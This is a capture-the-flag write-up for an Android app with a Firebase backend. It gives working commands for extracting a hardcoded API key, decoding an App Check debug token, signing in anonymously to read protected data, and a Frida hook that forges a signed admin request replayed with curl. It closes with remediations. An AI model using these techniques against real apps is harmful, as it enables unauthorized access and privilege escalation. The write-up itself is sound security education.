Executive Summary
FAM is a mobile CTF challenge distributed as an Android APK (fam-ctf.apk) with four staged flags, each themed around a different layer of the app's Firebase backend: The Library (native code), The Database (Firebase Realtime Database), The Vault (Firestore + App Check), and The Endpoint (a custom signed API). Every stage builds on the last - static analysis of the APK and its native library (libfam.so) kept supplying the credentials and logic needed to get further into the Firebase backend.
Tools used: unzip, strings, objdump, jadx, curl, Burp Suite, Frida, Android Studio emulator + adb.
Recon & Setup
Installed the APK on an Android Studio emulator (x86_64 AVD) and pulled it apart for static analysis:
mkdir extracted
unzip -o fam-ctf.apk -d extracted
That gave the standard APK layout, Firebase SDK dependencies (Auth, Realtime Database, Firestore, App Check), and two native libraries:
ls extracted/lib
# arm64-v8a x86_64
ls extracted/lib/arm64-v8a
# libc++_shared.so libfam.so
libc++_shared.so is just the standard NDK C++ runtime - ignored it. libfam.so is the custom library and the actual target.
Decompiled the Java/Kotlin layer for cross-referencing against the native code:
jadx -d jadx_out extracted/classes*.dex
Flag 1 - The Library
Hint: "Every compiled secret leaves a trace. Not all libraries are for reading. What do you do with .so files?"
Started with basic file identification and a strings pass over the custom library:
file extracted/lib/arm64-v8a/libfam.so
# ELF 64-bit LSB shared object, ARM aarch64, ... stripped
strings extracted/lib/arm64-v8a/libfam.so | grep -i -E 'flag|fam\{|http|key|secret|token'
Output:
Java_com_ctf_fam_MainActivity_getSecretFromNative
Java_com_ctf_fam_MainActivity_getDebugToken
FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}
The flag was sitting in plaintext in .rodata. No dynamic analysis needed - the developer left it as a raw string constant, right next to the two native method names that would matter for later stages.
Flag: FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}
Flag 2 - The Database
Hint: "The door is open to anyone. You don't need a name to enter, but the room still has a lock. Identity is optional here."
Finding the Firebase project
Searched the APK's resources for a Firebase config, since it wasn't in a google-services.json:
grep -r -i "firebaseio\|databaseURL\|project_id\|apiKey" extracted/res/ extracted/resources.arsc 2>/dev/null
That only turned up a generic keep-rules file, so went straight for the URL pattern instead:
strings extracted/resources.arsc | grep -i -E 'firebaseio|project_id|databaseURL'
strings extracted/resources.arsc | grep -i "\.firebaseio\.com\|\.firebasedatabase\.app"
Second command hit:
https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app
A blind root read confirmed the DB exists but is locked down:
curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/.json"
# {"error" : "404 Not Found"}
(That 404 was actually against a wrong placeholder URL used by mistake first - the real project URL above returns Permission denied, not 404, once queried correctly.)
Finding the exact path
Decompiled the app fully and grepped for Firebase Database reference calls:
jadx -d jadx_out extracted/classes*.dex
grep -r "child(\|getReference\|FirebaseDatabase" jadx_out --include=*.java | grep -v "^Binary"
Buried in a lot of SDK noise, the app's own code stood out:
FirebaseDatabase.getInstance("https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app")
.getReference("flag")
.addListenerForSingleValueEvent(...)
So the path is just flag:
curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json"
# {"error" : "Permission denied"}
Getting past the auth check
Grepped MainActivity.java for how the app authenticates before reading:
grep -n "signInAnonymously\|FirebaseAuth" jadx_out/sources/com/ctf/fam/MainActivity.java
Confirmed it signs in anonymously first:
private final void signInAnonymouslyAndVerifyFlag2() {
...
Task<AuthResult> taskSignInAnonymously = firebaseAuth.signInAnonymously();
That meant the DB rule was almost certainly auth != null - any authenticated identity is enough, no specific user required. Needed the app's Firebase Web API key to sign in the same way, so grepped for it:
grep -rn "AIza" extracted/res/ jadx_out/sources/ 2>/dev/null | head -5
strings extracted/resources.arsc | grep "AIza"
Found it hardcoded in the source:
MainActivity.java:42: public static final String API_KEY = "AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww";
Signed in anonymously via the Identity Toolkit REST API:
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken":true}'
That returned an idToken (JWT). Passed it as the auth query param on the database read:
curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json?auth=<idToken>"
Response:
"FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}"
Flag: FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}
Flag 3 - The Vault
Hint: "The vault trusts no one it hasn't met. But the app already made introductions. Something in the code proves who you are. The token is hiding in plain sight."
Finding it's Firestore, not RTDB
Grepped verifyFlag3 in the decompiled source:
grep -n -A 20 "verifyFlag3" jadx_out/sources/com/ctf/fam/MainActivity.java
This flag lives in Firestore - a different Firebase product with its own API:
private final void verifyFlag3() {
Task<DocumentSnapshot> task = FirebaseFirestore.getInstance()
.collection("flags").document("flag3").get();
...
}
Direct read attempt, reusing the anonymous idToken from stage 2:
curl "https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3" \
-H "Authorization: Bearer <idToken>"
Result:
{"error": {"code": 403, "message": "Missing or insufficient permissions.", "status": "PERMISSION_DENIED"}}
Identifying App Check as the blocker
Same grep pass on MainActivity.java turned up an initAppCheck() method:
private final void initAppCheck() {
FirebaseAppCheck.getInstance().installAppCheckProviderFactory(
new DebugTokenAppCheckProviderFactory(
"674578159678",
"1:674578159678:android:775058d15777caf841996f",
getDebugToken(),
API_KEY
)
);
}
getDebugToken() is native - this is "the introduction" the app makes on your behalf before the vault will trust it.
Trying dynamic capture first (dead end)
First attempt was to catch the debug token live via adb logcat, since App Check debug tokens are normally printed to Logcat:
adb devices
adb logcat -c
adb logcat -d > logcat_dump.txt
Select-String -Path logcat_dump.txt -Pattern "debug secret","appcheck","FAM_CTF" -SimpleMatch
That only showed the app's own Log.d calls (ch1 ok, ch2 ok, ch3 ok, etc.) - no debug-secret line, since this build doesn't log it.
Also tried intercepting Firestore traffic via Burp with the emulator's proxy pointed at the host:
adb shell settings put global http_proxy 10.0.2.2:8080
Installed Burp's CA cert on the emulator and relaunched the app, but the Firestore SDK on Android talks over gRPC, which doesn't show up in Burp's normal HTTP history - dead end for this approach.
Static extraction of the debug token
Went back to the hint: "the token is hiding in plain sight" - same pattern as Flag 1. Tried disassembling getDebugToken directly:
objdump -d extracted/lib/arm64-v8a/libfam.so --disassemble=Java_com_ctf_fam_MainActivity_getDebugToken
# objdump: can't disassemble for architecture UNKNOWN!
Kali's objdump didn't have ARM64 support built in, so switched to the x86_64 build of the same library:
objdump -d extracted/lib/x86_64/libfam.so \
--disassemble=Java_com_ctf_fam_MainActivity_getDebugToken -M intel
The disassembly showed a 36-byte loop (36 = length of a UUID string) doing:
for i in 0..35:
byte1 = rodata[0x34f0 + (i mod 19)] XOR 0xAA
byte2 = rodata[0x3510 + i]
result[i] = byte1 XOR byte2
Dumped both byte arrays from .rodata:
objdump -s -j .rodata --start-address=0x34f0 --stop-address=0x3514 extracted/lib/x86_64/libfam.so
objdump -s -j .rodata --start-address=0x3510 --stop-address=0x3534 extracted/lib/x86_64/libfam.so
Computed the XOR with a 19-byte cyclic key (the loop index wraps every 19 bytes via a compiler-generated modulo trick) - the dashes in the result landed exactly at UUID positions (8/13/18/23), confirming the decode:
Debug token: 8f76557d-a35a-4b51-94d4-d0df98d79b55
Exchanging the debug token for a real App Check token
A raw debug token isn't itself a valid credential - it has to be exchanged for a signed App Check attestation JWT first, using the App ID from initAppCheck():
curl -X POST "https://firebaseappcheck.googleapis.com/v1/projects/fam-ctf/apps/1:674578159678:android:775058d15777caf841996f:exchangeDebugToken?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
-H "Content-Type: application/json" \
-d '{"debug_token":"8f76557d-a35a-4b51-94d4-d0df98d79b55"}'
(First attempt without the ?key=<API_KEY> param failed with 403 Method doesn't allow unregistered callers - the API key is required to call this endpoint.)
Response contained a signed App Check token. Got a fresh idToken too, since the earlier one had expired:
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken":true}'
Final Firestore read with both tokens:
curl "https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3" \
-H "Authorization: Bearer <idToken>" \
-H "X-Firebase-AppCheck: <exchangedAppCheckToken>"
Response:
{
"name": "projects/fam-ctf/databases/(default)/documents/flags/flag3",
"fields": { "value": { "stringValue": "FAM{4pp_ch3ck_byp4ss_g00d_j0b}" } }
}
Flag: FAM{4pp_ch3ck_byp4ss_g00d_j0b}
Flag 4 - The Endpoint
Hint: "The server only trusts what it can verify. Intercept. Modify. But can you keep it honest? Only admin has clearance."
What's known so far
Backend URL, recovered from MainActivity.java:
public static final String SERVER_URL = "http://172.16.13.107:9000";
At least one endpoint observed in Burp during setup for stage 3: POST /api/check.
The app exposes a native signing function:
public final native String computeSignature(String method, String path, String body);
public final native String[] getUsernames();
submitChallenge() reads a username from a UI spinner and calls computeSignature("POST", "/api/check", body) to sign the request before hitting /api/check:
private final void submitChallenge() {
String username = spinner.getSelectedItem().toString();
String body = "{\"username\":\"" + username + "\"}";
String sig = computeSignature("POST", "/api/check", body);
// ... POST to /api/check with body + X-Signature header
}
Crucially, the spinner only ever offers a fixed, non-admin list of usernames from getUsernames() - there is no UI path to send "role":"admin". The hint ("only admin has clearance") meant the goal was to send a body the app was never designed to send, signed correctly.
Reversing computeSignature statically
Disassembled the function:
objdump -d extracted/lib/x86_64/libfam.so \
--disassemble=Java_com_ctf_fam_MainActivity_computeSignature -M intel
The outer function just concatenates method + SEPARATOR + path + SEPARATOR + body into one string and hands it to an inner, unexported helper. Disassembling that helper directly by address revealed a custom, hand-rolled mixing algorithm:
- A 32-byte internal state seeded from constants in
.rodata - Each message byte XORed against the same 19-byte debug-token key from Flag 3 before entering the mix
- A rotate/multiply/XOR round per byte using an FxHash-style multiplier (
0x517cc1b727220a95) - A parallel textbook FNV-1a hash computed over the raw message, compared against a hardcoded constant as an apparent backdoor check
- A finalization pass folding the 4-word state down before hex-encoding it into the returned signature string
This is a legitimate, non-trivial hash construction (not a simple XOR like Flags 1 and 3) - reproducing it byte-for-byte in Python from raw disassembly alone was slow and error-prone. Given the algorithm was confirmed to be fully client-side (all key material lives in the shipped .so), the faster and more reliable path was to stop reimplementing the algorithm and instead let the app sign an arbitrary payload for us at runtime.
Runtime approach: Frida hook on computeSignature
Rooted the emulator and pushed frida-server:
.\adb.exe kill-server
.\adb.exe start-server
.\adb.exe root
.\adb.exe shell "/data/local/tmp/frida-server &"
Instead of reverse-engineering the signing algorithm to reimplement it externally, hooked the native method at the JNI boundary and substituted the outgoing body with an admin payload before the real computeSignature implementation ever ran. Because the hook calls straight through to the original native function, the app's own key material and mixing logic sign the forged body correctly - no need to fully reconstruct the algorithm by hand.
hook_sig.js:
Java.perform(function () {
var MainActivity = Java.use("com.ctf.fam.MainActivity");
MainActivity.computeSignature.implementation = function (method, path, body) {
// Substitute the admin payload the UI never lets us send
var adminBody = '{"username":"admin","role":"admin"}';
console.log("[!!!] FORCING SIGNATURE FOR: " + adminBody);
var sig = this.computeSignature(method, path, adminBody);
console.log("[+] FORGED SIGNATURE: " + sig);
return sig;
};
});
Attached Frida to the running app process and loaded the hook:
frida.exe -U -p 13671 -l hook_sig.js
Then triggered the request from the app's own UI (tapping SEND REQUEST in the "The Endpoint" screen). The hook intercepted the call, swapped in the admin body, and let the native code sign it exactly as it would sign any legitimate request:
[!!!] FORCING SIGNATURE FOR: {"username":"admin","role":"admin"}
[+] FORGED SIGNATURE: ed0e8c86eaa229329a006c55c9ee25443012c6b7e65bb1231374c7f32f2a4a90
Replaying the forged request
With a validly-signed admin body in hand, replayed it directly against the production endpoint outside the app:
curl -X POST https://ctf.fampay.co/api/check \
-H "Content-Type: application/json" \
-H "X-Signature: ed0e8c86eaa229329a006c55c9ee25443012c6b7e65bb1231374c7f32f2a4a90" \
-d '{"username":"admin","role":"admin"}'
Response:
{"flag": "FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}", "message": "Welcome, admin."}
Flag: FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}
Attack Chain Summary
+------------------------+
| APK Static Analysis |
| (unzip, strings, jadx) |
+-----------+--------------+
|
v
+----------------------------------+
| Flag 1: The Library |
| strings libfam.so |--> FAM{str1ngs_d0nt_l13...}
| (plaintext in .rodata) |
+-----------+------------------------+
|
v
+----------------------------------+
| Flag 2: The Database |
| Recover API key from source -> |
| anonymous signUp REST call -> |--> FAM{4n0n_4uth_1s_n0t...}
| curl .../flag.json?auth=<token> |
+-----------+------------------------+
|
v
+----------------------------------+
| Flag 3: The Vault |
| 1. logcat/Burp attempts fail |
| (gRPC, no debug log) |
| 2. objdump getDebugToken -> |--> FAM{4pp_ch3ck_byp4ss...}
| XOR decode -> debug token |
| 3. exchangeDebugToken REST -> |
| App Check JWT |
| 4. GET Firestore doc w/ both |
| Auth + AppCheck headers |
+-----------+------------------------+
|
v
+----------------------------------+
| Flag 4: The Endpoint |
| Static analysis of computeSignature|
| (custom hash, too complex to |
| reimplement quickly) -> |--> FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}
| Frida hook forces native code to |
| sign a forged admin body -> |
| replay signed request via curl |
+--------------------------------------+
Key Vulnerabilities
| # | Challenge | Vulnerability | Impact |
|---|---|---|---|
| 1 | The Library | Hardcoded flag in native library .rodata
|
Trivial extraction via strings; no obfuscation |
| 2 | The Database | Overly permissive RTDB rule (auth != null) |
Any anonymous client can read protected data |
| 3 | The Vault | App Check debug token embedded (XOR'd) in shipped binary | Defeats App Check's purpose; static XOR is not real obfuscation |
| 4 | The Endpoint | Client-side request-signing scheme with all key material in the APK | Any party who controls the client (or hooks it at runtime) can sign arbitrary, privilege-escalated requests - the server has no way to distinguish a legitimate client from a hooked one |
Remediations
-
Never embed secrets, flags, or debug credentials in shipped binaries. Native code is fully extractable via
stringsand disassembly. App Check debug tokens should be scoped to CI/emulator builds only and never included in a distributed APK. -
Firebase security rules should distinguish identity providers, not just check
auth != null. Sensitive reads should requireauth.token.firebase.sign_in_provider != 'anonymous'or a custom claim proving a verified identity. -
Client-side signature schemes are only as strong as their key material and their execution environment. Even a cryptographically sound signing algorithm is worthless if the client that computes it can be hooked (Frida, Xposed, etc.) to sign attacker-chosen payloads. Any privilege-sensitive check - like
role: admin- must be enforced and authorized server-side, never trusted purely because a client-supplied signature validates. - Rotate the exposed Firebase Web API key and App Check debug token if this project configuration is reused outside the CTF context.
Top comments (0)